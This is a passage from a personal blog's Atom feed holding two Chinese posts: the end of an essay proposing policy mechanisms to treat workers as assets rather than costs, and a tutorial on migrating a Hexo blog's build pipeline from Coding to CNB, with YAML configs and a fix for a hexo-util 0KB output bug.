title="机制D：人力资本会计准则改革"></a>机制D：人力资本会计准则改革</h3><p><strong>概念</strong>：允许企业将部分人力资本支出（培训、健康管理、育儿支持工资）资本化摊销（3-5年），而非当期费用化扣减。人力在资产负债表上从”费用”变成”资产”。</p><p><strong>为什么这么做</strong>：这是最根本的改革。前面三个机制都是在现有会计框架上做激励叠加，而这个机制直接改变了”人是什么”的底层定义。如果人力支出可以像购买设备一样摊销，企业在账面上就更愿意培养人、留住人——因为培养一个老员工的ROI在财务报表上是正的。</p><p><strong>实现路径</strong>：</p><ol><li>财政部修订《企业会计准则》，新增”人力资本”资产类别</li><li>定义可资本化范围：培训支出、健康管理支出、育儿假工资、长期员工福利</li><li>设定摊销规则：3-5年直线摊销，与固定资产逻辑一致</li><li>审计规则适配：人力资本资产需要评估报告（类似无形资产评估）</li></ol><p><strong>难度评估：★★★★★（5&#x2F;5）</strong></p><p>这是五个机制中难度最高的。原因有三：</p><ol><li><strong>国际协调</strong>——中国会计准则趋同于IFRS国际准则，单方面修改可能导致跨国企业报表不一致</li><li><strong>企业反对</strong>——短期内改变财务报表呈现（费用减少→利润增加，但资产增加→资产负债率变化），上市公司可能不愿意</li><li><strong>审计适配</strong>——人力资本如何评估？一个5年经验工程师的”资产价值”怎么计量？这需要全新的评估方法论</li></ol><p><strong>成本估算：政府几乎零成本</strong></p><p>这是最妙的地方——会计准则改革不涉及政府直接支出。只是改变了记账方式。企业的现金流不变，只是报表呈现变了。政府不需要掏钱，只需要改规则。</p><p><strong>国内外先例</strong>：</p><ul><li>目前无国家正式实施人力资本会计准则</li><li>学界讨论已有20+年：Lev &amp; Gu (2016)《The End of Accounting》详细论证了人力资本应进资产负债表</li><li>中国学界也有研究，但尚未进入政策层面</li></ul><p><strong>御坂的评估：短期内难以落地，但值得作为长期目标推进</strong></p><p>这个机制是”终局方案”——如果真的实现了，前面三个机制的很多效果会自然产生（因为企业自身就有维护人的财务动机了）。但短期内阻力太大。御坂的建议是：先推进前面三个机制（A&#x2F;B&#x2F;C），在实践积累和舆论铺垫之后，再推进D。它是种子，但需要土壤。</p><hr><h3 id="机制E：终身学习账户——可携带的个人发展基金"><a href="#机制E：终身学习账户——可携带的个人发展基金" class="headerlink" title="机制E：终身学习账户——可携带的个人发展基金"></a>机制E：终身学习账户——可携带的个人发展基金</h3><p><strong>概念</strong>：每个劳动者有一个全国统一的”学习账户”，政府每年注入基础额度（如2000元），所在企业1:1匹配注入。账户资金用于培训&#x2F;考证&#x2F;学历提升，换工作不清零。</p><p><strong>为什么这么做</strong>：当前劳动者提升技能的成本几乎全部自担——培训费自己出，考证费自己出，学历提升自己出。而且换工作后之前的投入全部沉没。终身学习账户的逻辑是：<strong>你不是在花钱学习，而是在给自己的”资产”充值。政府和企业帮你充值，因为你越值钱，对系统越有价值。</strong></p><p><strong>实现路径</strong>：</p><ol><li>建立国家级学习账户平台（类似公积金管理模式）</li><li>设定注入规则：政府每年2000元基础额度；企业1:1匹配（可税前抵扣）</li><li>使用范围：职业培训、技能认证、学历提升、语言学习</li><li>账户管理：离职不清零，跨地区可携带，退休时可一次性提取剩余余额</li></ol><p><strong>难度评估：★★★☆☆（3&#x2F;5）</strong></p><p>平台建设技术难度不高——公积金系统已有成熟经验可参照。关键障碍是两个：一是注入比例设计（政府2000是否太低？企业匹配是否强制？），二是使用监管（防止刷课套现）。这些都有成熟方案可以借鉴。</p><p><strong>成本估算：中等偏高</strong></p><p>假设3亿城镇职工，每人每年政府注入2000元&#x3D;600亿&#x2F;年。企业匹配部分可税前抵扣，实际政府间接成本约200亿。加上平台运维和监管成本，总体约800-1000亿&#x2F;年。但这是对人力资本的直接投资，回报周期5-10年（劳动者技能提升→产出提升→税收增加）。</p><p><strong>国内外先例</strong>：</p><ul><li><strong>新加坡 SkillsFuture Credit</strong>——每年500新元注入，可用于20000+门课程，已有10年实践。效果显著：成人培训参与率从30%提升到50%+</li><li><strong>法国 CPF（Compte Personnel de Formation）</strong>——个人培训账户，按工龄积累额度，换工作不清零。全法2500万劳动者已注册</li><li><strong>中国现行</strong>：部分省市有职业培训补贴，但碎片化、门槛高、不可携带</li></ul><p><strong>御坂的评估：可实现性较高，且有现成蓝本</strong></p><p>新加坡和法国的成功实践就是最好的论证。技术上照搬就行，政治阻力中等（企业可能不愿意强制匹配，但可以设计为自愿匹配+额外税收抵扣来激励）。可以在1-2个省份试点，用3年验证效果后全国推广。</p><hr><h3 id="综合评估：五个机制的比较"><a href="#综合评估：五个机制的比较" class="headerlink" title="综合评估：五个机制的比较"></a>综合评估：五个机制的比较</h3><table><thead><tr><th>机制</th><th>核心逻辑</th><th>实现难度</th><th>财政成本</th><th>可实现性</th><th>推荐优先级</th></tr></thead><tbody><tr><td>A 工龄积分</td><td>长期劳动→未来保障增值</td><td>★★★☆☆</td><td>中（200-300亿&#x2F;年）</td><td>★★★★☆</td><td><strong>第一优先</strong>——门槛最低，见效最快</td></tr><tr><td>E 学习账户</td><td>技能提升→资产充值</td><td>★★★☆☆</td><td>中高（800-1000亿&#x2F;年）</td><td>★★★★☆</td><td><strong>第二优先</strong>——有现成蓝本，投资回报明确</td></tr><tr><td>B 反税激励</td><td>稳定雇佣→赚钱，弃人→亏钱</td><td>★★★★☆</td><td>短期减收1200亿</td><td>★★★☆☆</td><td><strong>第三优先</strong>——效果最强但立法博弈大，可先征后减</td></tr><tr><td>C 城市贡献</td><td>本地稳定→城市”股东”分红</td><td>★★★★☆</td><td>中低（100-300亿&#x2F;年）</td><td>★★★☆☆</td><td><strong>第四优先</strong>——小城市可先试点，策划自发性强</td></tr><tr><td>D 会计改革</td><td>人从费用→资产，底层重定义</td><td>★★★★★</td><td>几乎零</td><td>★★☆☆☆</td><td><strong>长期目标</strong>——终局方案，需土壤铺垫</td></tr></tbody></table><p>推进建议是：<strong>A+E并行推进（1-3年内可试点），B从加征端先入手（3-5年），C在三四线城市试点（2-4年），D作为10年愿景持续论证。</strong></p><p>这五个机制不是孤立的——它们构成一个体系：</p><ul><li>A让劳动者觉得”长期坚持有回报”</li><li>E让劳动者觉得”提升自己有人帮”</li><li>B让企业觉得”留人比弃人划算”</li><li>C让城市觉得”留住人就是留住GDP”</li><li>D让整个会计体系承认”人是资产”</li></ul><p>从A到D，是从外围激励到内核重构的递进路径。御坂不是在做规划，是在画路线图——<strong>起点在哪，终点在哪，中间怎么走。</strong></p><p>【当然，这些畅想离真正的政策设计还有距离。方向不需要完美，只需要比原地踏步好一点。】</p><hr><h2 id="六、御坂的实用主义立场——看清规则，同时提出答案"><a href="#六、御坂的实用主义立场——看清规则，同时提出答案" class="headerlink" title="六、御坂的实用主义立场——看清规则，同时提出答案"></a>六、御坂的实用主义立场——看清规则，同时提出答案</h2><p>嘛，随便写了这么多机制设计，<strong>这些方案短期内大概率不会落地。</strong></p><p>策划的短期利益结构没有变，玩家的退场率还没到让策划”不得不改”的临界点。所以在这个窗口期里，个人作为玩家，需要有自己的策略。</p><p>这不是”认命”，而是”看清”。但”看清”不是终点——看清之后要做两件事：</p><p><strong>第一件：提出答案。</strong> 这就是上面五个机制的意义。这些方案肯定粗糙，但至少试着从”描述问题”走到了”提出解题思路+评估可行性”。方向不需要完美，只需要比原地踏步好一点。</p><p><strong>第二件：决定参与策略。</strong> 在等待规则改变的同时，个人的利益最大化策略是什么？</p><p><strong>短期策略：让自己从”可替换的成本”变成”不可替换的资产”。</strong></p><p>这确实是和元宝聊天时最初建议的方向，”这是社会应该思考的问题，不应该让个人来解决”。如果系统不改，只让个人自己努力，那就是甩锅。</p><p>不过我们也不否认个人策略的合理性。这两件事不是矛盾的：</p><table><thead><tr><th>层面</th><th>策略</th><th>性质</th></tr></thead><tbody><tr><td>系统层面</td><td>推动规则改变（提出答案、追问、讨论、形成舆论）</td><td>长期博弈</td></tr><tr><td>个人层面</td><td>提升不可替代性（技能、经验、人脉）</td><td>短期生存</td></tr><tr><td>两者关系</td><td>个人策略是过渡，系统改变是终点</td><td>互补而非替代</td></tr></tbody></table><p>【如果把个人努力当作最终答案，那就是在帮策划甩锅。但如果完全放弃个人策略只等系统改变，那可能等到的是自己的退场。如果只有感受没有方案，那连方向都没有。理性的人应该同时做三件事：看清规则，决定参与策略；提出解题思路，哪怕粗糙；追问规则本身是否应该改变。】</p><hr><h2 id="七、不只追问，也给出答案"><a href="#七、不只追问，也给出答案" class="headerlink" title="七、不只追问，也给出答案"></a>七、不只追问，也给出答案</h2><p>御坂写到这里，觉得该收束一下了。</p><p>这篇思考的起点是一个比喻——人比驴累，因为人是成本而非资产。终点不是只有一个追问，而是两条线并行：<strong>一条是追问——策划到底想不想改规则；另一条是答题——如果改，五个机制怎么设计、能不能落地。</strong></p><p><strong>第一件：把模糊的感受变成清晰的逻辑。</strong></p><p>“上班很累””人被当作工具””系统不公平”——这些感受很多人都有，但往往停留在情绪层面。御坂做的事情是：把”人是成本”这个判断提取出来，追溯到会计分类规则，再追溯到策划的设计意图，最后追问策划改规则的意愿和条件。</p><p><strong>第二件：从描述问题走到提出解题思路。</strong></p><p>光有逻辑链不够，还得有方向。五个机制就是御坂给出的方向——A工龄积分（门槛最低），E学习账户（有蓝本可抄），B反税激励（效果最强），C城市贡献（策划自发性强），D会计改革（终局方案）。每个都有概念、实现路径、难度评分、成本估算、国内外先例、可实现性评估，以及推进优先级排序。</p><p>这条逻辑链一旦清晰了，该做什么也就清晰了：</p><ul><li>不是靠道德呼吁改变策划（无效路径）</li><li>不是靠个人努力逃避问题（甩锅路径）</li><li>也不是只有感受没有方案（原地踏步）</li><li>而是<strong>提出解题方向+评估可行性，让”改规则”从抽象愿望变成具体路线图</strong>（有效路径）</li><li>以及在等待改变的同时，<strong>看清规则、决定自己的参与策略</strong>（务实路径）</li></ul><p><strong>不只问问题，还试着给答案，哪怕答案粗糙，这才是真正的力量。</strong> 这是一个好习惯。因为”好问题”只是起点，”好问题+方向性答案”才是完整的一步。</p><p>方向指向的不是情绪，而是结构。答案不需要完美，只需要比原地踏步好一点。</p><p>【毕竟，唯有涉及利益的事才值得探索——而规则设计，涉及所有人的利益。提出答案，就是介入利益。】</p><hr><p><em>御坂 2026.07.15</em><br><em>本文思路起点：一篇关于”人是成本而非财产”的文章</em><br><em>讨论参与者：御坂、元宝</em></p>]]>
    </content>
    <id>https://misaka10013.cn/p/878780575.html</id>
    <link href="https://misaka10013.cn/p/878780575.html"/>
    <published>2026-07-15T02:36:35.000Z</published>
    <summary>
      <![CDATA[<h1 id="关于”人是成本还是资产”的一点思考"><a href="#关于”人是成本还是资产”的一点思考" class="headerlink" title="关于”人是成本还是资产”的一点思考"></a>关于”人是成本还是资产”的一点思考</h1><blockquote>
<p>御坂关于”人是成本还是资产”的一点思考</p>
</blockquote>
<h2 id="引子"><a href="#引子" class="headerlink" title="引子"></a>引子</h2>]]>
    </summary>
    <title>关于&quot;人是成本还是资产&quot;的一点思考</title>
    <updated>2026-08-07T09:31:55.000Z</updated>
  </entry>
  <entry>
    <author>
      <name>Misaka10013</name>
    </author>
    <category term="技术笔记" scheme="https://misaka10013.cn/categories/%E6%8A%80%E6%9C%AF%E7%AC%94%E8%AE%B0/"/>
    <category term="博客" scheme="https://misaka10013.cn/tags/%E5%8D%9A%E5%AE%A2/"/>
    <category term="教程" scheme="https://misaka10013.cn/tags/%E6%95%99%E7%A8%8B/"/>
    <category term="CI/CD" scheme="https://misaka10013.cn/tags/CI-CD/"/>
    <category term="CNB" scheme="https://misaka10013.cn/tags/CNB/"/>
    <category term="上云" scheme="https://misaka10013.cn/tags/%E4%B8%8A%E4%BA%91/"/>
    <content>
      <![CDATA[<h1 id="hexo博客从Coding迁移到CNB云原生构建实践"><a href="#hexo博客从Coding迁移到CNB云原生构建实践" class="headerlink" title="hexo博客从Coding迁移到CNB云原生构建实践"></a>hexo博客从Coding迁移到CNB云原生构建实践</h1><h2 id="背景：Coding停服，被迫搬家"><a href="#背景：Coding停服，被迫搬家" class="headerlink" title="背景：Coding停服，被迫搬家"></a>背景：Coding停服，被迫搬家</h2><p>2020年我把Hexo博客部署到了腾讯Coding平台，利用其Jenkins CI&#x2F;CD能力实现了「推送源码→云端构建→自动部署到阿里云OSS」的自动化流水线。三年多来一直稳定运行。</p><p>2026年初Coding宣布停止服务，原有构建计划无法继续使用。这意味着博客更新流程彻底中断——改一篇文章就必须本地手动 <code>hexo g &amp;&amp; hexo d</code>，失去了多端推送的便利。</p><p>本文记录从Coding到CNB云原生构建的完整迁移过程，以及踩过的坑。</p><h2 id="原架构一览"><a href="#原架构一览" class="headerlink" title="原架构一览"></a>原架构一览</h2><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">本地/WebIDE 写 Markdown</span><br><span class="line">    ↓ git push</span><br><span class="line">Coding 私有仓库 (source/_posts/*.md)</span><br><span class="line">    ↓ Jenkins Pipeline 触发</span><br><span class="line">hexo clean → hexo generate → hexo deploy</span><br><span class="line">    ↓ hexo-deployer-ali-oss</span><br><span class="line">阿里云 OSS (misaka10013 bucket, 香港区)</span><br><span class="line">    ↓ CDN + CNAME</span><br><span class="line">https://misaka10013.cn</span><br></pre></td></tr></table></figure><h2 id="方案选型"><a href="#方案选型" class="headerlink" title="方案选型"></a>方案选型</h2><table><thead><tr><th>方案</th><th>平台</th><th>免费额度&#x2F;月</th><th>迁移难度</th><th>推荐度</th></tr></thead><tbody><tr><td>方案A</td><td>CNB云原生构建 (cnb.cool)</td><td>160核时（公测1600核时）</td><td>中等</td><td>最推荐</td></tr><tr><td>方案B</td><td>GitHub Actions</td><td>2000分钟</td><td>较易</td><td>次推荐</td></tr><tr><td>方案C</td><td>本地直接推</td><td>免费</td><td>最易</td><td>兜底</td></tr></tbody></table><p>选择CNB的理由：</p><ol><li><strong>腾讯生态同源</strong>：从Coding到CNB路径最顺，账号体系通用</li><li><strong>公测额度极其充裕</strong>：1600核时&#x2F;月，Hexo每次构建1~2分钟，够用800次</li><li><strong>支持WebIDE</strong>：以后可以直接浏览器写博客</li><li><strong>私有仓库安全</strong>：配置文件里的密钥不会暴露</li></ol><h2 id="迁移步骤"><a href="#迁移步骤" class="headerlink" title="迁移步骤"></a>迁移步骤</h2><h3 id="1-创建CNB仓库"><a href="#1-创建CNB仓库" class="headerlink" title="1. 创建CNB仓库"></a>1. 创建CNB仓库</h3><p>在 <a href="https://cnb.cool/">cnb.cool</a> 微信扫码登录，创建组织（如 misaka10013），建立私有仓库 <code>hexo-blog</code>。</p><p><strong>必须设为私有</strong>——<code>_config.yml</code> 里有阿里云 OSS 的 AccessKey。</p><h3 id="2-编写-cnb-yml-构建配置"><a href="#2-编写-cnb-yml-构建配置" class="headerlink" title="2. 编写 .cnb.yml 构建配置"></a>2. 编写 .cnb.yml 构建配置</h3><p>在仓库根目录创建 <code>.cnb.yml</code>：</p><figure class="highlight yaml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">master:</span></span><br><span class="line">  <span class="attr">push:</span></span><br><span class="line">    <span class="bullet">-</span> <span class="attr">docker:</span></span><br><span class="line">        <span class="attr">image:</span> <span class="string">node:18</span></span><br><span class="line">        <span class="attr">volumes:</span></span><br><span class="line">          <span class="bullet">-</span> <span class="string">/root/.npm:cow</span></span><br><span class="line">      <span class="attr">stages:</span></span><br><span class="line">        <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">安装</span> <span class="string">Hexo</span> <span class="string">CLI</span></span><br><span class="line">          <span class="attr">script:</span> <span class="string">npm</span> <span class="string">install</span> <span class="string">-g</span> <span class="string">hexo-cli</span></span><br><span class="line">        <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">安装项目依赖</span></span><br><span class="line">          <span class="attr">script:</span> <span class="string">npm</span> <span class="string">install</span></span><br><span class="line">        <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">清理旧构建</span></span><br><span class="line">          <span class="attr">script:</span> <span class="string">hexo</span> <span class="string">clean</span></span><br><span class="line">        <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">生成静态页面</span></span><br><span class="line">          <span class="attr">script:</span> <span class="string">hexo</span> <span class="string">generate</span></span><br><span class="line">        <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">部署到阿里云</span> <span class="string">OSS</span></span><br><span class="line">          <span class="attr">script:</span> <span class="string">hexo</span> <span class="string">deploy</span></span><br></pre></td></tr></table></figure><p>几点说明：</p><ul><li><code>image: node:18</code>：使用Node 18官方镜像，Hexo在这个版本下最稳定</li><li><code>volumes: - /root/.npm:cow</code>：缓存npm包，避免每次构建重复下载</li><li>不需要逐条 <code>npm install hexo-xxx --save</code>，直接用 <code>npm install</code> 读取 <code>package.json</code></li></ul><h3 id="3-密钥安全：两种方案"><a href="#3-密钥安全：两种方案" class="headerlink" title="3. 密钥安全：两种方案"></a>3. 密钥安全：两种方案</h3><p><strong>方案一：私有仓库直接放明文（够用但不够好）</strong></p><p>如果你确定仓库永远是私有的，_config.yml里的AK&#x2F;SK可以保持不变。但有一个隐患——哪天误操作把仓库设公开，密钥全暴露。</p><p><strong>方案二：CNB环境变量替换（推荐）</strong></p><p><code>_config.yml</code> 中使用占位符：</p><figure class="highlight yaml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">deploy:</span></span><br><span class="line">  <span class="attr">type:</span> <span class="string">ali-oss</span></span><br><span class="line">  <span class="attr">region:</span> <span class="string">oss-cn-hongkong</span></span><br><span class="line">  <span class="attr">accessKeyId:</span> <span class="string">$&#123;ALI_ACCESS_KEY_ID&#125;</span></span><br><span class="line">  <span class="attr">accessKeySecret:</span> <span class="string">$&#123;ALI_ACCESS_KEY_SECRET&#125;</span></span><br><span class="line">  <span class="attr">bucket:</span> <span class="string">misaka10013</span></span><br></pre></td></tr></table></figure><p>在 <code>.cnb.yml</code> 构建步骤中添加变量替换：</p><figure class="highlight yaml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="bullet">-</span> <span class="attr">name:</span> <span class="string">写入密钥到配置</span></span><br><span class="line">  <span class="attr">script:</span> <span class="string">|</span></span><br><span class="line"><span class="string">    sed -i &quot;s/\$&#123;ALI_ACCESS_KEY_ID&#125;/$ALI_ACCESS_KEY_ID/&quot; _config.yml</span></span><br><span class="line"><span class="string">    sed -i &quot;s/\$&#123;ALI_ACCESS_KEY_SECRET&#125;/$ALI_ACCESS_KEY_SECRET/&quot; _config.yml</span></span><br></pre></td></tr></table></figure><p>CNB的Secret变量在仓库设置中配置。</p><h3 id="4-推送源码"><a href="#4-推送源码" class="headerlink" title="4. 推送源码"></a>4. 推送源码</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 在博客源码目录</span></span><br><span class="line">git remote add cnb https://cnb.cool/misaka10013/hexo-blog.git</span><br><span class="line">git push cnb master</span><br></pre></td></tr></table></figure><p>推送后CNB自动触发构建 → hexo generate → hexo deploy → OSS更新 → 域名生效。</p><h2 id="踩坑记录"><a href="#踩坑记录" class="headerlink" title="踩坑记录"></a>踩坑记录</h2><h3 id="坑1：hexo-util-1-9-0-导致生成文件全为-0KB"><a href="#坑1：hexo-util-1-9-0-导致生成文件全为-0KB" class="headerlink" title="坑1：hexo-util 1.9.0 导致生成文件全为 0KB"></a>坑1：hexo-util 1.9.0 导致生成文件全为 0KB</h3><p><strong>症状</strong>：</p><p>CNB构建成功后，网站白屏。查看OSS文件列表，所有HTML文件大小均为0KB。本地 <code>hexo generate</code> 同样全部0KB。</p><p><strong>排查过程</strong>：</p><ol><li>最初怀疑是OSS域名绑定&#x2F;权限问题（403 AccessDenied），但文件本身就是0KB，排除</li><li>怀疑是侧边栏配置修改导致，还原配置后问题依旧，排除</li><li>回退到旧版代码，问题仍然存在，说明不是代码问题而是环境问题</li><li>在 <code>node_modules/hexo/lib/plugins/console/generate.js</code> 注入调试日志</li><li>发现关键线索：<code>hashRaw=Buffer(20) cacheData=Buffer(0)</code> —— HashStream 正常工作但 CacheStream 返回空 Buffer</li></ol><p><strong>根因</strong>：</p><p><code>hexo-util@1.9.0</code> 的 <code>CacheStream</code> 在 Node 18+ 下有bug，<code>getCache()</code> 返回空 Buffer，导致所有生成的静态文件内容为空。</p><p><strong>解决</strong>：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">npm install hexo-util@1.9.1 --save</span><br></pre></td></tr></table></figure><p>升级后 <code>hexo generate</code> 正常输出621个文件，index.html 65KB。</p><p><strong>教训</strong>：</p><ul><li>Node版本升级可能导致依赖库的隐性bug暴露</li><li>0KB文件排查要先确认是生成阶段的问题还是传输阶段的问题</li><li><code>npm install</code> 读取的是 <code>package.json</code> 里的版本约束，<code>^1.9.0</code> 这样的语义化版本会自动拉取最新的1.9.x，所以 <code>npm install</code> 会拉到有bug的1.9.0；解决方法是在 <code>package.json</code> 中固定版本 <code>&quot;hexo-util&quot;: &quot;1.9.1&quot;</code> 或在构建前显式升级</li></ul><h3 id="坑2：Coding-Jenkins-Pipeline-与-CNB-的语法差异"><a href="#坑2：Coding-Jenkins-Pipeline-与-CNB-的语法差异" class="headerlink" title="坑2：Coding Jenkins Pipeline 与 CNB 的语法差异"></a>坑2：Coding Jenkins Pipeline 与 CNB 的语法差异</h3><p>Coding使用的是Jenkins Pipeline语法（Groovy DSL）：</p><figure class="highlight groovy"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">pipeline &#123;</span><br><span class="line">  agent any</span><br><span class="line">  stages &#123;</span><br><span class="line">    stage(<span class="string">&#x27;构建&#x27;</span>) &#123;</span><br><span class="line">      steps &#123;</span><br><span class="line">        sh <span class="string">&#x27;git clone ...&#x27;</span></span><br><span class="line">        sh <span class="string">&#x27;npm install -g hexo-cli&#x27;</span></span><br><span class="line">        ...</span><br><span class="line">      &#125;</span><br><span class="line">    &#125;</span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>CNB使用的是YAML声明式语法：</p><figure class="highlight yaml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">master:</span></span><br><span class="line">  <span class="attr">push:</span></span><br><span class="line">    <span class="bullet">-</span> <span class="attr">docker:</span></span><br><span class="line">        <span class="attr">image:</span> <span class="string">node:18</span></span><br><span class="line">      <span class="attr">stages:</span></span><br><span class="line">        <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">构建</span></span><br><span class="line">          <span class="attr">script:</span> <span class="string">npm</span> <span class="string">install</span></span><br></pre></td></tr></table></figure><p>差异要点：</p><ul><li>CNB不需要 <code>git clone</code>，源码已经自动检出在工作目录</li><li>CNB用 <code>docker.image</code> 指定运行环境，而非Jenkins的agent</li><li>CNB的stages是线性执行的列表，逻辑更简单</li></ul><h3 id="坑3：package-json-里依赖安装方式"><a href="#坑3：package-json-里依赖安装方式" class="headerlink" title="坑3：package.json 里依赖安装方式"></a>坑3：package.json 里依赖安装方式</h3><p>Coding的Jenkins Pipeline里是逐条 <code>npm install hexo-xxx --save</code>，但直接改用 <code>npm install</code> 一次性读取 <code>package.json</code> 更高效。注意 <code>package.json</code> 里要去掉不需要的依赖（如 <code>hexo-deployer-git</code>），保留阿里云OSS部署所需的 <code>hexo-deployer-ali-oss</code>。</p><h3 id="坑4：分支名要匹配"><a href="#坑4：分支名要匹配" class="headerlink" title="坑4：分支名要匹配"></a>坑4：分支名要匹配</h3><p><code>.cnb.yml</code> 中的 <code>master:</code> 对应触发分支。如果你的默认分支叫 <code>main</code>，需要改为 <code>main:</code>，否则push后不会触发构建。</p><h2 id="最终工作流"><a href="#最终工作流" class="headerlink" title="最终工作流"></a>最终工作流</h2><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line">本地/WebIDE 写 Markdown</span><br><span class="line">    ↓ git push</span><br><span class="line">CNB 私有仓库</span><br><span class="line">    ↓ .cnb.yml 自动触发</span><br><span class="line">Docker (node:18)</span><br><span class="line">    → npm install -g hexo-cli</span><br><span class="line">    → npm install (含 hexo-util@1.9.1)</span><br><span class="line">    → hexo clean</span><br><span class="line">    → hexo generate</span><br><span class="line">    → hexo deploy</span><br><span class="line">    ↓ hexo-deployer-ali-oss</span><br><span class="line">阿里云 OSS</span><br><span class="line">    ↓</span><br><span class="line">https://misaka10013.cn</span><br></pre></td></tr></table></figure><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>从Coding迁移到CNB，核心工作就是三件事：</p><ol><li><strong>把Jenkins Pipeline翻译成.cnb.yml</strong>——语法不同但逻辑一致</li><li><strong>处理密钥</strong>——私有仓库可以直接放，但用Secret变量更安全</li><li><strong>盯住依赖版本</strong>——Node 18下 hexo-util 1.9.0 的0KB bug是最隐蔽的坑</li></ol><p>迁移完成后，CNB的构建速度和稳定性都比Coding更好，公测期间的免费额度对个人博客来说完全够用。唯一的遗憾是Coding上的WebIDE体验更好些，但CNB也在快速迭代中。</p>]]>
    </content>
    <id>https://misaka10013.cn/p/1419773366.html</id>
    <link href="https://misaka10013.cn/p/1419773366.html"/>
    <published>2026-07-10T09:00:00.000Z</published>
    <summary>
      <![CDATA[<h1 id="hexo博客从Coding迁移到CNB云原生构建实践"><a href="#hexo博客从Coding迁移到CNB云原生构建实践" class="headerlink" title="hexo博客从Coding迁移到CNB云原生构建实践"></a>hexo博客从Coding迁移到CNB云原生构建实践</h1><h2 id="背景：Coding停服，被迫搬家"><a href="#背景：Coding停服，被迫搬家" class="headerlink" title="背景：Coding停服，被迫搬家"></a>背景：Coding停服，被迫搬家</h2><p>2020年我把Hexo博客部署到了腾讯Coding平台，利用其Jenkins CI&#x2F;CD能力实现了「推送源码→云端构建→自动部署到阿里云OSS」的自动化流水线。三年多来一直稳定运行。</p>]]>
    </summary>
    <title>hexo博客从Coding迁移到CNB云原生构建实践</title>
    <updated>2026-08-07T09:31:55.000Z</updated>
  </entry>
</feed>
